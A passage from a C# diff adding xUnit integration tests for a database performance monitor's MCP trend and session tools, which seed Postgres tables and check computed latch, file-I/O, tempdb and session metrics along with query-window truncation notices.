+                var series = DarlingMcpServerTrendTools.SeriesOf(metric) is null ? (metric == "session_stats" ? DarlingMcpServerTrendTools.SessionPointWeight : 1) : DarlingMcpServerTrendTools.DefaultClerkCount;
+                var width = TrendBuckets.NarrowestFitting(7 * 24 * 60, series, DarlingMcpServerTrendTools.MaxPoints);
+                var widest = await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName, 168, asOf, bucket_minutes: width);
+                var widestBytes = System.Text.Encoding.UTF8.GetByteCount(widest);
+                sizes.Add($"{metric} widest 168h at {width} min: {widestBytes} bytes");
+                Assert.True(widestBytes <= 320 * 1024, $"{metric}: widest {widestBytes} bytes");
+            }
+
+            TestContext.Current.TestOutputHelper?.WriteLine(string.Join(Environment.NewLine, sizes));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TheRateRules_SessionNewestCollection_AndCollectorNames_HoldAgainstTheStore()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live server-trend test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            /* Every row sits inside one hour-aligned hour, so a 60-minute bucket holds all of them. */
+            var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var hour = new DateTime(end.Year, end.Month, end.Day, end.Hour, 0, 0, DateTimeKind.Utc).AddHours(-1);
+            var asOf = hour.AddHours(1).ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+            const string LatchInsert = "INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms, delta_waiting_requests_count, delta_wait_time_ms, delta_max_wait_time_ms, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)";
+
+            /* A known interval with a NULL delta is not a rated sample: 6000 ms over its own 60 s is 100 ms/s, not 6000 over 120 s. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, LatchInsert,
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(10)), ServerId, ServerName, "LATCH_NULLDELTA", 1000L, 20000L, 50L, 10L, 6000L, 5L, 60);
+            await DarlingMcpTestData.ExecAsync(connection, ct, LatchInsert,
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(11)), ServerId, ServerName, "LATCH_NULLDELTA", 1000L, 20000L, 50L, 10L, DBNull.Value, 5L, 60);
+
+            /* No stored interval: the gap to the class's previous collection (30 s) is the interval; the first row has no gap and is dropped. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, LatchInsert,
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(20)), ServerId, ServerName, "LATCH_LAG", 1000L, 20000L, 50L, 10L, 9999L, 5L, DBNull.Value);
+            await DarlingMcpTestData.ExecAsync(connection, ct, LatchInsert,
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(20).AddSeconds(30)), ServerId, ServerName, "LATCH_LAG", 1000L, 20000L, 50L, 10L, 3000L, 5L, DBNull.Value);
+
+            /* Two session collections in one bucket: the count averages, the attribution is the newest collection's own. */
+            for (var i = 0; i < 2; i++)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO session_summary_stats (collection_id, collection_time, server_id, server_name, total_sessions, running_sessions, sleeping_sessions, background_sessions, dormant_sessions, idle_sessions_over_30min, sessions_waiting_for_memory, databases_with_connections, top_application_name, top_application_connections, top_host_name, top_host_connections)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(30 + i)), ServerId, ServerName, 100 + 100 * i, 5, 90, 3, 2, 1, 0, 4, i == 0 ? "app-old" : "app-new", 50 + i, i == 0 ? "host-old" : "host-new", 40 + i);
+            }
+
+            foreach (var (collector, ms) in new[] { ("slow_collector", 9000), ("quick_collector", 120) })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status) VALUES ($1,$2,$3,$4,$5,$6,'SUCCESS')",
+                    CollectionIdGenerator.Next(), ServerId, ServerName, collector, DarlingMcpTestData.Naive(hour.AddMinutes(40)), ms);
+            }
+
+            var latch = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "latch", ServerName, 3, asOf, bucket_minutes: 60, names: "LATCH_NULLDELTA, LATCH_LAG")).RootElement;
+            foreach (var series in latch.GetProperty("series").EnumerateArray())
+            {
+                var points = series.GetProperty("trend").EnumerateArray().ToArray();
+                Assert.Single(points);
+                Assert.Equal(100.0, points[0].GetProperty("wait_time_ms_per_second").GetDouble(), 2);
+            }
+
+            Assert.Equal(2, latch.GetProperty("series").GetArrayLength());
+
+            var sessions = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "session_stats", ServerName, 3, asOf, bucket_minutes: 60)).RootElement;
+            var point = Assert.Single(sessions.GetProperty("trend").EnumerateArray().ToArray());
+            Assert.Equal(150.0, point.GetProperty("total_sessions").GetDouble(), 2);
+            Assert.Equal("app-new", point.GetProperty("top_application_name").GetString());
+            Assert.Equal("host-new", point.GetProperty("top_host_name").GetString());
+            Assert.Equal(51.0, point.GetProperty("top_application_connections").GetDouble(), 2);
+            Assert.Equal(41.0, point.GetProperty("top_host_connections").GetDouble(), 2);
+
+            var named = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "collector_duration", ServerName, 3, asOf, bucket_minutes: 60, names: "quick_collector, nope_collector")).RootElement;
+            Assert.Equal(["quick_collector"], named.GetProperty("series").EnumerateArray().Select(x => x.GetProperty("collector_name").GetString()).ToArray());
+            Assert.Equal(["nope_collector"], named.GetProperty("missing_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            var none = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "collector_duration", ServerName, 3, asOf, names: "nope_collector")).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            Assert.Equal(["slow_collector", "quick_collector"], none.GetProperty("hints").GetProperty("top_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TempDbFileIo_TempDbSize_AndFileIoThroughput_ReturnThePlantedSeries_AndDropANullDeltaRow()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live server-trend test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var hour = new DateTime(end.Year, end.Month, end.Day, end.Hour, 0, 0, DateTimeKind.Utc).AddHours(-1);
+            var asOf = hour.AddHours(1).ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+            const string IoInsert = "INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,'ROWS','x',100,$7,$8,$9,$10,$11,$12,$13)";
+
+            /* tempdev: two rated rows (10 reads at 50 ms stall, 20 reads at 100 ms: 150/30 = 5 ms) plus a restart row (interval 0) and a NULL-delta row that must add nothing. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(10)), ServerId, ServerName, "tempdb", "tempdev", 10L, 4L, 10485760L, 0L, 50L, 8L, 60);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(11)), ServerId, ServerName, "tempdb", "tempdev", 20L, 4L, 10485760L, 0L, 100L, 12L, 60);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(12)), ServerId, ServerName, "tempdb", "tempdev", 900L, 900L, 999999999L, 999999999L, 99999L, 99999L, 0);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(13)), ServerId, ServerName, "tempdb", "tempdev", DBNull.Value, DBNull.Value, DBNull.Value, DBNull.Value, DBNull.Value, DBNull.Value, 60);
+            /* Reads set but the read stall NULL: the paired guard must leave the 500 reads out of the average (still 5.0 ms). */
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(14)), ServerId, ServerName, "tempdb", "tempdev", 500L, DBNull.Value, DBNull.Value, DBNull.Value, DBNull.Value, DBNull.Value, 60);
+            /* A user database file with no stored interval: the gap to its previous collection (30 s) is the interval; the first row has no gap and is dropped. 3 MiB read over 30 s = 0.1 MB/s. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(20)), ServerId, ServerName, "salesdb", "sales.mdf", 1L, 1L, 99999999L, 99999999L, 1L, 1L, DBNull.Value);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(20).AddSeconds(30)), ServerId, ServerName, "salesdb", "sales.mdf", 1L, 1L, 3145728L, 1048576L, 1L, 1L, DBNull.Value);
+            /* A known interval with a NULL write delta adds no seconds to the write rate: 2 MiB over 60 s is 0.03 MB/s, from the one row that has one. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(30)), ServerId, ServerName, "salesdb", "log.ldf", 1L, 1L, 0L, 2097152L, 1L, 1L, 60);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(31)), ServerId, ServerName, "salesdb", "log.ldf", 1L, 1L, 0L, DBNull.Value, 1L, 1L, 60);
+
+            /* An old row (no stored interval) whose counter reset gives a negative delta must not drag the bucket down: only the 3 MiB over 30 s row counts, 0.1 MB/s. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(40)), ServerId, ServerName, "salesdb", "reset.mdf", 1L, 1L, 99999999L, 0L, 1L, 1L, DBNull.Value);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(40).AddSeconds(30)), ServerId, ServerName, "salesdb", "reset.mdf", 1L, 1L, 3145728L, 0L, 1L, 1L, DBNull.Value);
+            await DarlingMcpTestData.ExecAsync(connection, ct, IoInsert, CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(41)), ServerId, ServerName, "salesdb", "reset.mdf", 1L, 1L, -52428800L, 0L, 1L, 1L, DBNull.Value);
+
+            foreach (var (minute, reserved, free) in new[] { (10, 100m, 20m), (11, 300m, 40m) })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO tempdb_stats (collection_id, collection_time, server_id, server_name, user_object_reserved_mb, internal_object_reserved_mb, version_store_reserved_mb, total_reserved_mb, unallocated_mb) VALUES ($1,$2,$3,$4,1,1,1,$5,$6)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(hour.AddMinutes(minute)), ServerId, ServerName, reserved, free);
+            }
+
+            var fileIo = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "tempdb_file_io", ServerName, 3, asOf, bucket_minutes: 60, names: "tempdev, nope.ndf")).RootElement;
+            var ioSeries = Assert.Single(fileIo.GetProperty("series").EnumerateArray().ToArray());
+            Assert.Equal("tempdev", ioSeries.GetProperty("file_name").GetString());
+            var ioPoint = Assert.Single(ioSeries.GetProperty("trend").EnumerateArray().ToArray());
+            Assert.Equal(5.0, ioPoint.GetProperty("avg_read_latency_ms").GetDouble(), 2);
+            Assert.Equal(2.5, ioPoint.GetProperty("avg_write_latency_ms").GetDouble(), 2);
+            Assert.Equal(["nope.ndf"], fileIo.GetProperty("missing_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            var defaultFileIo = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "tempdb_file_io", ServerName, 3, asOf, bucket_minutes: 60)).RootElement;
+            Assert.Equal(["tempdev"], defaultFileIo.GetProperty("series").EnumerateArray().Select(x => x.GetProperty("file_name").GetString()).ToArray());
+
+            var size = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "tempdb_size", ServerName, 3, asOf, bucket_minutes: 60)).RootElement;
+            var sizePoint = Assert.Single(size.GetProperty("trend").EnumerateArray().ToArray());
+            Assert.Equal(230.0, sizePoint.GetProperty("allocated_mb").GetDouble(), 2);
+
+            var throughput = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "file_io_throughput", ServerName, 3, asOf, bucket_minutes: 60, names: "salesdb.sales.mdf, salesdb.log.ldf, salesdb.reset.mdf, tempdb.tempdev, salesdb.nope")).RootElement;
+            var byLabel = throughput.GetProperty("series").EnumerateArray().ToDictionary(x => x.GetProperty("file_label").GetString()!, x => Assert.Single(x.GetProperty("trend").EnumerateArray().ToArray()));
+            Assert.Equal(0.1, byLabel["salesdb.sales.mdf"].GetProperty("read_mb_per_sec").GetDouble(), 2);
+            Assert.Equal(0.1, byLabel["salesdb.reset.mdf"].GetProperty("read_mb_per_sec").GetDouble(), 2);
+            Assert.Equal(0.03, byLabel["salesdb.log.ldf"].GetProperty("write_mb_per_sec").GetDouble(), 2);
+            /* tempdev: 20 MiB over 120 s of rated rows (the interval-0 and NULL-delta rows add neither bytes nor seconds). */
+            Assert.Equal(0.17, byLabel["tempdb.tempdev"].GetProperty("read_mb_per_sec").GetDouble(), 2);
+            Assert.Equal(["salesdb.nope"], throughput.GetProperty("missing_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            var none = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "file_io_throughput", ServerName, 3, asOf, names: "nope")).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            Assert.NotEmpty(none.GetProperty("hints").GetProperty("top_names").EnumerateArray());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        var sql = string.Join(" ", Tables.Select(t => $"DELETE FROM {t} WHERE server_id = {ServerId};")) + $" DELETE FROM servers WHERE server_id = {ServerId};";
+        using var cleanup = new NpgsqlCommand(sql, connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs b/Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs
index f4a3637869..21a0809ffa 100644
--- a/Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs
@@ -17,6 +17,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -69,8 +70,8 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
 
     [Theory]
     [InlineData("get_session_stats", "server_name")]
-    [InlineData("get_active_queries", "server_name,hours_back,database_name,blocking_only,limit,full_text,as_of")]
-    [InlineData("get_waiting_tasks", "server_name,hours_back,limit,as_of")]
+    [InlineData("get_active_queries", "server_name,hours_back,database_name,blocking_only,wait_type,limit,full_text,as_of")]
+    [InlineData("get_waiting_tasks", "server_name,hours_back,limit,as_of,database_name")]
     public void ParamContract_MatchesLite(string toolName, string expectedCsv)
     {
         Assert.Equal(expectedCsv.Split(','), McpParams(toolName).Select(p => p.Name).ToArray());
@@ -106,6 +107,32 @@ public void ActiveQueriesSql_ReadsBaseTable_WindowedWithWaitforTrim()
         Assert.Contains("NOT LIKE 'WAITFOR%'", sql, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// #5235: the wait_type filter is a predicate in the <c>population</c> CTE, beside database_name and blocking_only,
+    /// so the <c>COUNT(*) OVER ()</c> behind total_snapshots and truncated, and the <c>LIMIT</c>, are measured on the
+    /// filtered rows. A predicate moved to the outer SELECT would shrink the page and leave the count at the whole
+    /// window. It is an <c>upper()</c> equality (one value, so a % or _ in the input is literal) that also takes the
+    /// name with a trailing space, which an older collector stored.
+    /// </summary>
+    [Fact]
+    public void ActiveQueriesSql_FiltersWaitTypeInThePopulation_BeforeTheCount()
+    {
+        var sql = DarlingSessionReader.ActiveQueriesSql;
+        const string predicate = "($7::text IS NULL OR upper(w.wait_type) IN (upper($7), upper($7) || ' '))";
+        var predicateAt = sql.IndexOf(predicate, StringComparison.Ordinal);
+        Assert.True(predicateAt >= 0, "the wait_type predicate is not in the statement");
+
+        var populationAt = sql.IndexOf("population AS (", StringComparison.Ordinal);
+        var blockingAt = sql.IndexOf("(NOT $6::boolean OR w.blocking_session_id > 0 OR h.session_id IS NOT NULL)", StringComparison.Ordinal);
+        var countAt = sql.IndexOf("COUNT(*) OVER ()", StringComparison.Ordinal);
+        var limitAt = sql.IndexOf("LIMIT $4", StringComparison.Ordinal);
+        Assert.True(populationAt >= 0 && populationAt < blockingAt && blockingAt < predicateAt,
+            "the wait_type predicate must sit in the population CTE's WHERE, after database_name and blocking_only");
+        Assert.True(predicateAt < countAt && countAt < limitAt,
+            "the wait_type predicate must be applied before the population count and the cap, or they count the unfiltered window");
+        Assert.DoesNotContain("wait_type LIKE", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
     [Fact]
     public void WaitingTasksSql_ReadsBaseTable_NoView_Windowed()
     {
@@ -240,7 +267,15 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             DarlingMcpTestData.AssertEnvelope(aq, ServerName, "queries");
             Assert.Contains("SELECT * FROM Posts", aq, StringComparison.Ordinal);
             DarlingMcpTestData.AssertEnvelope(await DarlingMcpSessionTools.GetActiveQueries(postgres, ServerName, 1, Db, true), ServerName, "queries");
-            DarlingMcpTestData.AssertEnvelope(await DarlingMcpSessionTools.GetWaitingTasks(postgres, ServerName), ServerName, "tasks");
+            var tasks = await DarlingMcpSessionTools.GetWaitingTasks(postgres, ServerName);
+            DarlingMcpTestData.AssertEnvelope(tasks, ServerName, "tasks");
+
+            /* #4966: where the page's rows stop prints as UTC with the Z, at the instant the rows carry. */
+            foreach (var page in new[] { aq, tasks })
+            {
+                var oldest = System.Text.Json.JsonDocument.Parse(page).RootElement.GetProperty("oldest_returned_collection_time").GetString()!;
+                Assert.Equal(DateTime.SpecifyKind(t, DateTimeKind.Utc).ToString("o", System.Globalization.CultureInfo.InvariantCulture), oldest);
+            }
 
             await DeleteRowsAsync(connection, ct, keepServer: true);
             Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(await DarlingMcpSessionTools.GetSessionStats(postgres, ServerName)));
@@ -255,6 +290,300 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+
+    /* #4966 window-floor cases. The coverage probe measures the purge edge (the schedule's seven days) from the store's own
+       clock, so a window anchored months back would read as lying wholly before the coverage: the anchor is the current minute,
+       taken once per test, and every seeded instant is an offset from it. */
+    private static DateTime AnchorNow()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+    }
+
+    private static readonly string[] WindowTools = ["get_active_queries", "get_waiting_tasks"];
+
+    private static string TableOf(string tool) => tool == "get_active_queries" ? "query_snapshots" : "waiting_tasks";
+
+    private static Task<string> CallAsync(NpgsqlDataSource postgres, string tool, string server, int hours, DateTime end) =>
+        tool == "get_active_queries"
+            ? DarlingMcpSessionTools.GetActiveQueries(postgres, server, hours, as_of: WebDataStartNote.FormatWindowEnd(end))
+            : DarlingMcpSessionTools.GetWaitingTasks(postgres, server, hours, as_of: WebDataStartNote.FormatWindowEnd(end));
+
+    private static string WindowServerName(string tool, string window) => "darling-mcp-session-window-" + window + "-" + TableOf(tool);
+
+    /// <summary>A server registered at <paramref name="created"/>, its runs of both collectors logged every
+    /// <paramref name="stepMinutes"/> minutes from <paramref name="runsFrom"/> to <paramref name="end"/> (none when null),
+    /// and three rows of <paramref name="tool"/>'s table an hour apart from <paramref name="firstRow"/> (none when null).</summary>
+    private static async Task SeedWindowServerAsync(
+        NpgsqlConnection connection, string tool, string name, DateTime created, DateTime? runsFrom, int stepMinutes, DateTime? firstRow, DateTime end, System.Threading.CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DeleteWindowServerAsync(connection, name, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, name, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET created_date = $2 WHERE server_id = $1", serverId, DarlingMcpTestData.Naive(created));
+
+        if (runsFrom is DateTime from)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT row_number() OVER (), $1, $2, $3, t, 12, 'SUCCESS', 0
+FROM generate_series($4::timestamp, $5::timestamp, make_interval(mins => $6)) AS t",
+                serverId, name, TableOf(tool), DarlingMcpTestData.Naive(from), DarlingMcpTestData.Naive(end), stepMinutes);
+        }
+
+        if (firstRow is DateTime first)
+        {
+            for (var i = 0; i < 3; i++)
+            {
+                var at = DarlingMcpTestData.Naive(first.AddHours(i));
+                if (tool == "get_active_queries")
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26)",
+                        CollectionIdGenerator.Next(), at, serverId, name, 55, Db, "00 00:00:05.000", "SELECT 1", "running", 0, "CXPACKET", 500L, 5000L, 5000L, 100L, 0L, 2000L, 0.5m, "Read Committed", 4, 3, "sa", "APP01", "SSMS", 1, 0);
+                }
+                else
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO waiting_tasks (collection_id, collection_time, server_id, server_name, session_id, wait_type, wait_duration_ms, blocking_session_id, resource_description, database_name)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10)",
+                        CollectionIdGenerator.Next(), at, serverId, name, 55, "LCK_M_X", 3000L, 60, null, Db);
+                }
+            }
+        }
+    }
+
+    private static async Task DeleteWindowServerAsync(NpgsqlConnection connection, string name, System.Threading.CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "DELETE FROM config_collector_schedules WHERE server_id = $1 AND collector_name IN ('query_snapshots', 'waiting_tasks')", serverId);
+        foreach (var table in new[] { "query_snapshots", "waiting_tasks", "collection_log", "servers" })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", serverId);
+        }
+    }
+
+    /// <summary>Runs <paramref name="body"/> for each window tool against its own seeded server, then removes what it seeded.</summary>
+    private async Task ForEachWindowToolAsync(
+        string window, Func<NpgsqlConnection, NpgsqlDataSource, string, string, DateTime, Task> seedAndAssert)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live session-tools test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        /* The coverage probe measures the purge edge from the collector's retention, and a fleet-wide override row in
+           config_collector_schedules for either collector (another test's leftover on a shared store) moves that edge off the
+           seven days these cases assume. The cases are about the default, so the fleet rows for the two collectors are set aside and put back in the finally. */
+        var savedFleetRows = new List<(string Name, int? Frequency, int? Retention, bool Enabled, string[]? Databases)>();
+        await using (var save = new NpgsqlCommand(
+            "SELECT collector_name, frequency_minutes, retention_days, enabled, databases FROM config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) IN ('query_snapshots', 'waiting_tasks')", connection))
+        await using (var saved = await save.ExecuteReaderAsync(ct))
+        {
+            while (await saved.ReadAsync(ct))
+            {
+                savedFleetRows.Add((saved.GetString(0),
+                    saved.IsDBNull(1) ? null : saved.GetInt32(1),
+                    saved.IsDBNull(2) ? null : saved.GetInt32(2),
+                    saved.GetBoolean(3),
+                    saved.IsDBNull(4) ? null : (string[])saved.GetValue(4)));
+            }
+        }
+
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "DELETE FROM config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) IN ('query_snapshots', 'waiting_tasks')");
+
+        var bodySucceeded = false;
+        try
+        {
+            foreach (var tool in WindowTools)
+            {
+                await seedAndAssert(connection, postgres, tool, WindowServerName(tool, window), AnchorNow());
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            foreach (var row in savedFleetRows)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, System.Threading.CancellationToken.None,
+                    "INSERT INTO config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled, databases) VALUES (NULL, $1, $2, $3, $4, $5) ON CONFLICT DO NOTHING",
+                    row.Name, (object?)row.Frequency ?? DBNull.Value, (object?)row.Retention ?? DBNull.Value, row.Enabled, (object?)row.Databases ?? DBNull.Value);
+            }
+
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var tool in WindowTools)
+                {
+                    await DeleteWindowServerAsync(cleanup, WindowServerName(tool, window), cleanupCt);
+                }
+            });
+        }
+    }
+
+    private static System.Text.Json.JsonElement Parse(string json) => System.Text.Json.JsonDocument.Parse(json).RootElement.Clone();
+
+    /// <summary>(a) The server was registered two days ago and read over 168 hours: the data starts at its first collection, and the keys sit right after hours_back.</summary>
+    [Fact]
+    public async Task ARowsAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("added", async (connection, postgres, tool, name, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedWindowServerAsync(connection, tool, name, added, added, 30, end.AddDays(-1), end, ct);
+
+            var json = await CallAsync(postgres, tool, name, 168, end);
+
+            var root = Parse(json);
+            Assert.True(root.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.EndsWith("Z", root.GetProperty("effective_start").GetString()!, StringComparison.Ordinal);
+            Assert.Equal(
+                DarlingMcpWindowNotice.Build(added, end.AddHours(-168), TableOf(tool)).TruncationNote,
+                root.GetProperty("truncation_note").GetString());
+            Assert.Contains("raw " + TableOf(tool) + " retains", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.False(root.TryGetProperty("effective_hours_back", out _), tool);
+
+            /* Written right after hours_back, in the contract's order. */
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            var at = names.IndexOf("hours_back");
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(at + 1).Take(3));
+        });
+    }
+
+    /// <summary>
+    /// #4966: a coverage probe that throws costs the notice, never the rows. The seam stands in for the probe on a window that
+    /// needs one (168 hours): the rows come back WITHOUT the three keys, and an empty answer WITHOUT hints.
+    /// </summary>
+    [Fact]
